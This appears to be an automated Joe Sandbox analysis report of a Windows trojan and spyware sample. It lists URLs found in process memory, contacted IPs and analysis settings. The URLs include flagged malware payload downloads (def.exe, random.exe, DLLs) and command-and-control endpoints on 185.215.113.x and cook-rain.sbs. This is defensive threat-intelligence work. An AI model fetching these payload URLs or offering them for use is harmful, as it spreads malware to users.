https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294395883.0000000023578000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2812659848.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2813006047.0000000005D15000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957045330.0000000005305000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224744880.000000000581A000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294395883.0000000023578000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2812659848.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2813006047.0000000005D15000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957045330.0000000005305000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224744880.000000000581A000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exerDF	e7dea42e57.exe, 00000017.00000003.3043300375.00000000015D7000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000002.3093556236.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2519179735.00000000235CD000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2853447900.000000000166B000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2978097870.00000000004EB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3263527956.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267520169.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeQ	e7dea42e57.exe, 0000001C.00000003.3156653655.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3242706666.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3157137056.00000000004E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://cook-rain.sbs/apiD	e7dea42e57.exe, 00000022.00000002.3337076041.00000000057E7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/ws	6cb554c070.exe, 00000018.00000002.2855713450.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/apical	e7dea42e57.exe, 00000022.00000002.3330064877.0000000001018000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206lfons	file.exe, 00000000.00000002.2497943980.00000000002C5000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php$	6cb554c070.exe, 00000018.00000002.2855713450.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dllv	file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/Local	6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/w)	file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/	e7dea42e57.exe, 00000022.00000002.3330064877.000000000109A000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3247413160.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000002.3330064877.0000000001018000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267694473.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3276797644.00000000010BD000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246273700.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294395883.0000000023578000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2812659848.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2813006047.0000000005D15000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957045330.0000000005305000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224744880.000000000581A000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/	6cb554c070.exe, 00000018.00000002.2855713450.000000000110E000.00000004.00000020.00020000.00000000.sdmp, 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/api6fkg	e7dea42e57.exe, 00000022.00000003.3247413160.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246273700.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php1	6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	e7dea42e57.exe, 00000022.00000003.3248905937.0000000005AD8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsofth	e7dea42e57.exe, 00000022.00000002.3330064877.0000000001048000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	e7dea42e57.exe, 00000017.00000003.2950556748.000000000162B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/api	e7dea42e57.exe, 00000022.00000002.3330064877.0000000001018000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpD	6cb554c070.exe, 00000018.00000002.2855713450.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exe;	e7dea42e57.exe, 00000017.00000003.3043069476.0000000001640000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/:j	6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	file.exe, 00000000.00000003.2385760274.000000002383A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2519179735.00000000235CD000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2853447900.000000000166B000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2978097870.00000000004EB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3263527956.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267520169.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe0	e7dea42e57.exe, 0000001C.00000002.3242540168.00000000001AB000.00000004.00000010.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2519179735.00000000235CD000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2853447900.000000000166B000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2978097870.00000000004EB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3263527956.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267520169.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpP	6cb554c070.exe, 00000018.00000002.2855713450.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	e7dea42e57.exe, 00000017.00000002.3092767303.00000000012FB000.00000004.00000010.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.3043300375.00000000015D7000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000002.3093556236.00000000015D7000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3156653655.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3242706666.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3156252378.000000000051C000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3157137056.00000000004E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/ii/7	e7dea42e57.exe, 0000001C.00000003.3019480036.00000000004EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206SIONNAME=Con	file.exe, 00000000.00000002.2500046632.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/softokn3.dll;(	file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/H	e7dea42e57.exe, 0000001C.00000003.2990866260.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2990128091.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dllA	file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php/q	6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/F	e7dea42e57.exe, 00000017.00000003.2869395510.000000000164E000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2869162530.0000000001644000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2869737894.0000000001654000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2867454996.0000000001642000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2955469038.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2500046632.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/9	6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/7	6cb554c070.exe, 00000018.00000002.2855713450.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	e7dea42e57.exe, 00000022.00000003.3267520169.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294395883.0000000023578000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2812659848.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2813006047.0000000005D15000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957045330.0000000005305000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224744880.000000000581A000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apisD	e7dea42e57.exe, 00000022.00000003.3288370055.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cook-rain.sbs/8	e7dea42e57.exe, 0000001C.00000003.2955469038.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/Microsoft	6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	e7dea42e57.exe, 00000017.00000003.2831819486.0000000005D02000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2974898976.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3246791762.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294395883.0000000023578000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2812659848.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2813006047.0000000005D15000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957045330.0000000005305000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224744880.000000000581A000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/b	e7dea42e57.exe, 0000001C.00000003.2955469038.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cook-rain.sbs/apilzYvk7yiM6-	e7dea42e57.exe, 0000001C.00000003.3019480036.00000000004EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	e7dea42e57.exe, 00000022.00000003.3248905937.0000000005AD8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeS	e7dea42e57.exe, 0000001C.00000003.3156653655.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3242706666.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3157137056.00000000004E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2525210244.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515458712.000000001D467000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294395883.0000000023578000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2812659848.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2813006047.0000000005D15000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2957045330.0000000005305000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224744880.000000000581A000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apip	e7dea42e57.exe, 0000001C.00000003.2955469038.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cook-rain.sbs/z	e7dea42e57.exe, 00000022.00000002.3330064877.000000000109A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2519179735.00000000235CD000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2853447900.000000000166B000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2978097870.00000000004EB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3263527956.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3267520169.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/t	e7dea42e57.exe, 0000001C.00000003.2990866260.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2990128091.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dll_4	file.exe, 00000000.00000002.2500046632.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/d	6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2213450104.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791220422.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940392527.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208571674.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3207574237.000000000582C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.43	s-part-0015.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.25.227.174	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.44	s-part-0016.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.38.189.114	unknown	United States	16625	AKAMAI-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
13.69.116.109	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.18.100	unknown	United States	15169	GOOGLEUS	false
172.217.18.14	play.google.com	United States	15169	GOOGLEUS	false
108.156.211.31	unknown	United States	16509	AMAZON-02US	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
18.244.18.27	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
20.42.65.85	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.198.7.171	unknown	United States	20940	AKAMAI-ASN1EU	false
23.198.7.172	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.174	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556957
Start date and time:	2024-11-16 19:21:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@115/253@56/31
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.195, 142.250.181.238, 108.177.15.84, 34.104.35.123, 216.58.206.35, 142.250.186.106, 142.250.185.234, 172.217.16.202, 172.217.23.106, 142.250.185.106, 142.250.185.202, 142.250.185.170, 142.250.185.74, 216.58.206.74, 216.58.206.42, 142.250.184.234, 142.250.186.138, 142.250.186.170, 142.250.185.138, 216.58.212.138, 142.250.186.74, 142.250.184.202, 172.217.18.10, 142.250.74.202, 142.250.181.234, 142.250.186.42, 172.217.16.138, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.185.142, 13.107.6.158, 93.184.221.240, 51.137.3.145, 2.19.126.145, 2.19.126.152, 192.229.221.95, 88.221.110.195, 88.221.110.179, 2.23.209.177, 2.23.209.189, 2.23.209.150, 2.23.209.130, 2.23.209.149, 2.23.209.133, 2.23.209.176, 2.23.209.182, 2.23.209.179, 2.23.209.140, 2.23.209.185, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.18, 2.23.209.20, 2.23.209.59, 2.23.209.6, 2.23.209.3, 2.23.209.23, 2.23.209.7, 2.23.209.13, 2.23.209.58, 20.191.45.158, 2.19.126.157, 2.19
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, browser.events.data.trafficmanager.net, learn.microsoft.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, e11290.dspg.akamaiedge.net, onedscolprdwus07.westus.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, update.googleapis.com, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, prod-agic-we-2.westeurope.cloudapp.azure.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, 